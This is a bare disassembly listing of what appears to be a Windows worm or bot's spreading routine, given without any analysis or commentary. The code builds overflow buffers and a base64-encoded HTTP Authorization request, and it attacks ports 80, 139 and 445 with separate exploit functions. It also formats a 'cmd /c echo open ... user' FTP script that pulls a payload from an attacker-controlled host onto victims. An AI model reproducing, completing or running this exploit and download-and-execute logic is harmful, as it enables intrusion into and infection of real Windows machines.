lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_40CB1B
lea ecx, [ebp+var_58]
call sub_40CC4F
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_40CD66
lea ecx, [ebp+var_58]
call sub_40CBAA
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_41BD10
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_40CCFD
push 4
push offset dword_432094
lea ecx, [ebp+var_18]
call sub_40CCC9
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40CCC9
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40CCC9
lea ecx, [ebp+var_18]
call sub_40CC4F
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40CD1A
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40CD1A
lea ecx, [ebp+var_40]
call sub_40CD2A
lea ecx, [ebp+var_18]
call sub_40CBAA
lea ecx, [ebp+var_50]
call sub_40CBAA
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40CD1A
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40CD1A
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40CD1A
lea ecx, [ebp+var_38]
call sub_40CD2A
lea ecx, [ebp+var_20]
call sub_40CBAA
lea ecx, [ebp+var_30]
call sub_40CBAA
lea ecx, [ebp+var_40]
call sub_40CBAA
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_41BD10
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40CCC9
lea ecx, [ebp+var_28]
call sub_40CC4F
push 2
push offset dword_432400
lea ecx, [ebp+var_28]
call sub_40CCC9
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40CD1A
lea ecx, [ebp+var_28]
call sub_40CD2A
lea ecx, [ebp+var_38]
call sub_40CBAA
lea ecx, [ebp+var_10]
call sub_40CB11
lea ecx, [ebp+var_8]
call sub_40CB11
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40CD1A
lea ecx, [ebp+var_10]
call sub_40CBC3
lea ecx, [ebp+var_28]
call sub_40CBAA
push offset dword_4323FC
lea ecx, [ebp+var_8]
call sub_40CCFD
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CD1A
lea ecx, [ebp+var_8]
call sub_40CBC3
lea ecx, [ebp+var_10]
call sub_40CBAA
push offset dword_4323F8
lea ecx, [ebp+var_10]
call sub_40CCFD
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40CD1A
lea ecx, [ebp+var_10]
call sub_40CBC3
lea ecx, [ebp+var_8]
call sub_40CBAA
push offset dword_4323EC
lea ecx, [ebp+var_8]
call sub_40CCFD
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CD1A
lea ecx, [ebp+var_8]
call sub_40CBC3
lea ecx, [ebp+var_10]
call sub_40CBAA
push (offset loc_4323E7+1)
lea ecx, [ebp+var_48]
call sub_40CCFD
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40CD1A
lea ecx, [ebp+var_8]
call sub_40CBAA
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_40D0E7
; ---------------------------------------------------------------------------
loc_40D0D9: ; CODE XREF: sub_40CD85+1Bj
; sub_40CD85+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_40D0E7: ; CODE XREF: sub_40CD85+352j
pop edi
pop ebx
leave
retn
sub_40CD85 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D0EB proc near ; CODE XREF: sub_40D1AF+A1p
; sub_40D1AF+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
nop
call near ptr 71AB1890h
cmp eax, edi
jnz short loc_40D152
lea eax, [ebp+var_10C]
push eax
push esi
call sub_426636
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_40D156
loc_40D152: ; CODE XREF: sub_40D0EB+54j
xor eax, eax
jmp short loc_40D166
; ---------------------------------------------------------------------------
loc_40D156: ; CODE XREF: sub_40D0EB+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4C931C
loc_40D166: ; CODE XREF: sub_40D0EB+69j
pop edi
pop esi
leave
retn
sub_40D0EB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D16A proc near ; CODE XREF: sub_40D1AF+81p
; sub_40D1AF+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_4C9300
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_4C9354
cmp eax, 4
jz short loc_40D194
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40D194: ; CODE XREF: sub_40D16A+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4C9354
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_40D16A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D1AF proc near ; CODE XREF: sub_40D289+48p
; ___:0040D707p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_41BC9B
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40D1D8
xor al, al
jmp loc_40D284
; ---------------------------------------------------------------------------
loc_40D1D8: ; CODE XREF: sub_40D1AF+20j
push ebx
push 0
push esi
call sub_41BD10
push 2Fh
push offset dword_432124
push esi
call sub_41CAB0
push 8
lea eax, [esi+31h]
push offset dword_432154
push eax
mov [esi+2Fh], di
call sub_41CAB0
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_41CAB0
push 6
add ebx, edi
push offset dword_4CC01C
push ebx
call sub_41CAB0
mov ebx, [ebp+arg_0]
push 85h
push offset dword_43209C
push ebx
call sub_40D16A
add esp, 48h
test al, al
jnz short loc_40D240
loc_40D23C: ; CODE XREF: sub_40D1AF+B5j
xor bl, bl
jmp short loc_40D27B
; ---------------------------------------------------------------------------
loc_40D240: ; CODE XREF: sub_40D1AF+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40D0EB
push [ebp+var_4]
push esi
push ebx
call sub_40D16A
add esp, 1Ch
test al, al
jz short loc_40D23C
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40D0EB
add esp, 10h
mov bl, 1
loc_40D27B: ; CODE XREF: sub_40D1AF+8Fj
push esi
call sub_41BA31
pop ecx
mov al, bl
loc_40D284: ; CODE XREF: sub_40D1AF+24j
pop edi
pop esi
pop ebx
leave
retn
sub_40D1AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D289 proc near ; CODE XREF: ___:0040D6EDp
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_432160
push [ebp+arg_0]
nop
call near ptr 71AB1AF4h
cmp eax, 48h
jnz short loc_40D2C4
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40D0EB
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_40D2C4
cmp [ebp+var_20], 82h
jz short loc_40D2C8
loc_40D2C4: ; CODE XREF: sub_40D289+1Bj
; sub_40D289+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40D2C8: ; CODE XREF: sub_40D289+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D1AF
add esp, 0Ch
leave
retn
sub_40D289 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D2DB proc near ; CODE XREF: sub_40D327+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul dbl_427688
call sub_41CF04
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul dbl_427680
fstp [esp+10h+var_10]
call sub_41CDE5
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_41CF04
inc eax
leave
retn
sub_40D2DB endp
; =============== S U B R O U T I N E =======================================
sub_40D327 proc near ; CODE XREF: sub_40D4C9+24p
var_40 = qword ptr -40h
mov eax, offset loc_426D63
call sub_41D3D0
sub esp, 2Ch
mov al, [ebp+13h]
push ebx
push esi
push edi
xor edi, edi
lea ecx, [ebp-38h]
push edi
mov [ebp-20h], edi
mov [ebp-38h], al
call sub_40D968
push 1
pop ebx
push dword ptr [ebp+10h]
mov [ebp-4], ebx
call sub_40D2DB
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_40D369
push edi
push eax
lea ecx, [ebp-38h]
call sub_40D8E3
loc_40D369: ; CODE XREF: sub_40D327+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_40D486
mov ebx, [ebp+10h]
loc_40D378: ; CODE XREF: sub_40D327+156j
cmp dword ptr [ebp+10h], 3
jb short loc_40D382
push 3
jmp short loc_40D394
; ---------------------------------------------------------------------------
loc_40D382: ; CODE XREF: sub_40D327+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_40D38C
push 2
jmp short loc_40D394
; ---------------------------------------------------------------------------
loc_40D38C: ; CODE XREF: sub_40D327+5Fj
cmp dword ptr [ebp+10h], 1
jnz short loc_40D395
push 1
loc_40D394: ; CODE XREF: sub_40D327+59j
; sub_40D327+63j
pop ebx
loc_40D395: ; CODE XREF: sub_40D327+69j
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul dbl_427698
fstp [esp+40h+var_40]
call sub_41CF2B
pop ecx
pop ecx
call sub_41CF04
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_40D3D4
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_40D3D4: ; CODE XREF: sub_40D327+93j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_40D442
add [ebp-18h], eax
loc_40D426: ; CODE XREF: sub_40D327+119j
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, byte_4321AC[eax]
push eax
push 1
call sub_40D765
inc esi
cmp esi, [ebp-1Ch]
jb short loc_40D426
loc_40D442: ; CODE XREF: sub_40D327+FAj
cmp dword ptr [ebp-18h], 48h
jb short loc_40D460
push dword ptr [ebp+14h]
call sub_41B960
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_40D7BE
mov [ebp-18h], edi
loc_40D460: ; CODE XREF: sub_40D327+11Fj
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_40D47A
sub esi, [ebp-1Ch]
loc_40D46B: ; CODE XREF: sub_40D327+151j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_40D765
dec esi
jnz short loc_40D46B
loc_40D47A: ; CODE XREF: sub_40D327+13Fj
cmp [ebp+10h], edi
ja loc_40D378
push 1
pop ebx
loc_40D486: ; CODE XREF: sub_40D327+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_40D968
push dword_427690
lea eax, [ebp-38h]
mov ecx, esi
push edi
push eax
call sub_40D815
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_40D968
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D327 endp
; =============== S U B R O U T I N E =======================================
sub_40D4C9 proc near ; CODE XREF: ___:0040D6D0p
mov eax, offset loc_426D80
call sub_41D3D0
sub esp, 10h
push ebx
push esi
push edi
push offset byte_43B4B8
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_40D327
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_41BC9B
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_40D513
xor bl, bl
jmp short loc_40D557
; ---------------------------------------------------------------------------
loc_40D513: ; CODE XREF: sub_40D4C9+44j
mov ecx, [ebp-18h]
mov eax, offset dword_4276A0
cmp ecx, ebx
jnz short loc_40D521
mov ecx, eax
loc_40D521: ; CODE XREF: sub_40D4C9+54j
cmp [ebp+18h], ebx
jz short loc_40D529
mov eax, [ebp+18h]
loc_40D529: ; CODE XREF: sub_40D4C9+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_41C100
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call dword_4C9354
cmp eax, esi
jz short loc_40D54E
xor bl, bl
jmp short loc_40D550
; ---------------------------------------------------------------------------
loc_40D54E: ; CODE XREF: sub_40D4C9+7Fj
mov bl, 1
loc_40D550: ; CODE XREF: sub_40D4C9+83j
push edi
call sub_41BA31
pop ecx
loc_40D557: ; CODE XREF: sub_40D4C9+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_40D968
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_40D968
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D4C9 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 424h
and byte ptr [ebp-424h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-423h]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-424h]
push offset sub_432358
push eax
call sub_41CAB0
add esp, 0Ch
mov eax, offset byte_429108
push eax
push eax
movzx eax, word ptr dword_4C9040
push eax
push dword ptr [ebp+8]
call sub_40A9FA
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
lea eax, [ebp-395h]
push 400h
push eax
call sub_41C100
add eax, 90h
push eax
lea eax, [ebp-424h]
push eax
push 164h
lea eax, [ebp-24h]
push offset sub_4321F0
push eax
call sub_40CD85
mov ecx, [eax]
xor esi, esi
mov [ebp-8], ecx
add esp, 30h
mov eax, [eax+4]
cmp eax, esi
mov [ebp-4], eax
jnz short loc_40D62C
xor eax, eax
jmp loc_40D758
; ---------------------------------------------------------------------------
loc_40D62C: ; CODE XREF: ___:0040D623j
mov [ebp-0Ch], esi
loc_40D62F: ; CODE XREF: ___:0040D72Fj
test esi, esi
jnz loc_40D735
push 6
push 1
push 2
nop
call near ptr 71AB3C22h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40D71D
xor eax, eax
lea edi, [ebp-1Ah]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call dword_4C9304
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call dword_4C9344
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push ebx
call dword_4C92AC
cmp eax, 0FFFFFFFFh
jz loc_40D712
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_40D6DA
mov al, [ebp+0C3h]
sub esp, 10h
mov esi, esp
mov [ebp-20h], esp
push 0
mov ecx, esi
mov [esi], al
call sub_40D968
lea eax, [ebp+0Ch]
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call sub_40D9A4
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D4C9
add esp, 1Ch
jmp short loc_40D70F
; ---------------------------------------------------------------------------
loc_40D6DA: ; CODE XREF: ___:0040D698j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_40D6F4
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D289
jmp short loc_40D70C
; ---------------------------------------------------------------------------
loc_40D6F4: ; CODE XREF: ___:0040D6E4j
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_40D712
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D1AF
loc_40D70C: ; CODE XREF: ___:0040D6F2j
add esp, 0Ch
loc_40D70F: ; CODE XREF: ___:0040D6D8j
movzx esi, al
loc_40D712: ; CODE XREF: ___:0040D68Bj
; ___:0040D6FEj
push ebx
call dword_4C939C
test esi, esi
jnz short loc_40D728
loc_40D71D: ; CODE XREF: ___:0040D648j
push 3E8h
nop
call near ptr 268051Bh
loc_40D728: ; CODE XREF: ___:0040D71Bj
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40D62F
loc_40D735: ; CODE XREF: ___:0040D631j
lea ecx, [ebp-8]
call sub_40CBAA
test esi, esi
jz short loc_40D756
mov eax, [ebp+0B0h]
shl eax, 6
inc dword_431810[eax]
lea eax, dword_431810[eax]
loc_40D756: ; CODE XREF: ___:0040D73Fj
mov eax, esi
loc_40D758: ; CODE XREF: ___:0040D627j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426D44
loc_40D75D: ; CODE XREF: sub_426D44+3j
; ___:00426D5Dj ...
push 1
call sub_40D968
retn
; END OF FUNCTION CHUNK FOR sub_426D44
; =============== S U B R O U T I N E =======================================
sub_40D765 proc near ; CODE XREF: sub_40D327+110p
; sub_40D327+14Bp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, dword_427690
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D77F
call sub_42657A
loc_40D77F: ; CODE XREF: sub_40D765+13j
test ebx, ebx
jbe short loc_40D7B6
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D8E3
test al, al
jz short loc_40D7B6
movsx eax, [esp+0Ch+arg_4]
push ebx
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_41BD10
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_40D7B6: ; CODE XREF: sub_40D765+1Cj
; sub_40D765+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D765 endp
; =============== S U B R O U T I N E =======================================
sub_40D7BE proc near ; CODE XREF: sub_40D327+131p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_427690
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D7D8
call sub_42657A
loc_40D7D8: ; CODE XREF: sub_40D7BE+13j
test ebx, ebx
jbe short loc_40D80D
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D8E3
test al, al
jz short loc_40D80D
mov eax, [esi+8]
push ebx
push [esp+10h+arg_0]
add eax, [esi+4]
push eax
call sub_41CAB0
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40D80D: ; CODE XREF: sub_40D7BE+1Cj
; sub_40D7BE+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D7BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D815 proc near ; CODE XREF: sub_40D327+17Cp
; sub_426490+15p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_40D82D
call sub_426453
loc_40D82D: ; CODE XREF: sub_40D815+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_40D83F
mov esi, [ebp+arg_8]
loc_40D83F: ; CODE XREF: sub_40D815+25j
cmp edi, ebx
jnz short loc_40D861
push dword_427690
add esi, ecx
mov ecx, edi
push esi
call sub_40D9D9
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_40D9D9
jmp short loc_40D8DA
; ---------------------------------------------------------------------------
loc_40D861: ; CODE XREF: sub_40D815+2Cj
test esi, esi
jbe short loc_40D8A4
cmp esi, eax
jnz short loc_40D8A4
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D875
mov eax, offset dword_4276A0
loc_40D875: ; CODE XREF: sub_40D815+59j
cmp byte ptr [eax-1], 0FEh
jnb short loc_40D8A4
push 1
mov ecx, edi
call sub_40D968
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D890
mov eax, offset dword_4276A0
loc_40D890: ; CODE XREF: sub_40D815+74j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_40D8DA
; ---------------------------------------------------------------------------
loc_40D8A4: ; CODE XREF: sub_40D815+4Ej
; sub_40D815+52j ...
push 1
push esi
mov ecx, edi
call sub_40D8E3
test al, al
jz short loc_40D8DA
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D8BE
mov eax, offset dword_4276A0
loc_40D8BE: ; CODE XREF: sub_40D815+A2j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call sub_41CAB0
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [eax+esi], 0
loc_40D8DA: ; CODE XREF: sub_40D815+4Aj
; sub_40D815+8Dj ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_40D815 endp
; =============== S U B R O U T I N E =======================================
sub_40D8E3 proc near ; CODE XREF: sub_40D327+3Dp
; sub_40D765+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_40D8F5
call sub_42657A
loc_40D8F5: ; CODE XREF: sub_40D8E3+Bj
mov ecx, [esi+4]
xor edx, edx
cmp ecx, edx
jz short loc_40D91E
mov al, [ecx-1]
cmp al, dl
jz short loc_40D91E
cmp al, 0FFh
jz short loc_40D91E
cmp edi, edx
jnz short loc_40D959
dec al
push edx
mov [ecx-1], al
loc_40D913: ; CODE XREF: sub_40D8E3+47j
mov ecx, esi
call sub_40D968
loc_40D91A: ; CODE XREF: sub_40D8E3+4Bj
; sub_40D8E3+52j
xor al, al
jmp short loc_40D963
; ---------------------------------------------------------------------------
loc_40D91E: ; CODE XREF: sub_40D8E3+19j
; sub_40D8E3+20j ...
cmp edi, edx
jnz short loc_40D937
cmp [esp+8+arg_4], dl
jz short loc_40D92C
push 1
jmp short loc_40D913
; ---------------------------------------------------------------------------
loc_40D92C: ; CODE XREF: sub_40D8E3+43j
cmp ecx, edx
jz short loc_40D91A
mov [esi+8], edx
mov [ecx], dl
jmp short loc_40D91A
; ---------------------------------------------------------------------------
loc_40D937: ; CODE XREF: sub_40D8E3+3Dj
cmp [esp+8+arg_4], dl
jz short loc_40D954
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_40D949
cmp eax, edi
jnb short loc_40D961
loc_40D949: ; CODE XREF: sub_40D8E3+60j
push 1
mov ecx, esi
call sub_40D968
jmp short loc_40D959
; ---------------------------------------------------------------------------
loc_40D954: ; CODE XREF: sub_40D8E3+58j
cmp [esi+0Ch], edi
jnb short loc_40D961
loc_40D959: ; CODE XREF: sub_40D8E3+28j
; sub_40D8E3+6Fj
push edi
mov ecx, esi
call sub_40DA40
loc_40D961: ; CODE XREF: sub_40D8E3+64j
; sub_40D8E3+74j
mov al, 1
loc_40D963: ; CODE XREF: sub_40D8E3+39j
pop edi
pop esi
retn 8
sub_40D8E3 endp
; =============== S U B R O U T I N E =======================================
sub_40D968 proc near ; CODE XREF: sub_40D327+1Fp
; sub_40D327+16Ap ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_40D994
mov eax, [esi+4]
test eax, eax
jz short loc_40D994
lea ecx, [eax-1]
mov al, [eax-1]
test al, al
jz short loc_40D98D
cmp al, 0FFh
jz short loc_40D98D
dec al
mov [ecx], al
jmp short loc_40D994
; ---------------------------------------------------------------------------
loc_40D98D: ; CODE XREF: sub_40D968+19j
; sub_40D968+1Dj
push ecx
call sub_41D3EF
pop ecx
loc_40D994: ; CODE XREF: sub_40D968+8j
; sub_40D968+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_40D968 endp
; =============== S U B R O U T I N E =======================================
sub_40D9A4 proc near ; CODE XREF: ___:0040D6C4p
; sub_40DAFD+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
mov esi, ecx
push edi
call sub_40D8E3
test al, al
jz short loc_40D9D2
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call sub_41CAB0
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_40D9D2: ; CODE XREF: sub_40D9A4+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_40D9A4 endp
; =============== S U B R O U T I N E =======================================
sub_40D9D9 proc near ; CODE XREF: sub_40D815+39p
; sub_40D815+45p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_40D9EC
call sub_426453
loc_40D9EC: ; CODE XREF: sub_40D9D9+Cj
mov ecx, edi
call sub_40DAFD
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_40DA02
mov ebx, eax
loc_40DA02: ; CODE XREF: sub_40D9D9+25j
test ebx, ebx
jbe short loc_40DA38
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_41D400
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_40D8E3
test al, al
jz short loc_40DA38
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_40DA38: ; CODE XREF: sub_40D9D9+2Bj
; sub_40D9D9+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_40D9D9 endp
; =============== S U B R O U T I N E =======================================
sub_40DA40 proc near ; CODE XREF: sub_40D8E3+79p
mov eax, offset loc_426D8C
call sub_41D3D0
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_40DA66
mov edi, [ebp+8]
loc_40DA66: ; CODE XREF: sub_40DA40+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_40DA73
xor eax, eax
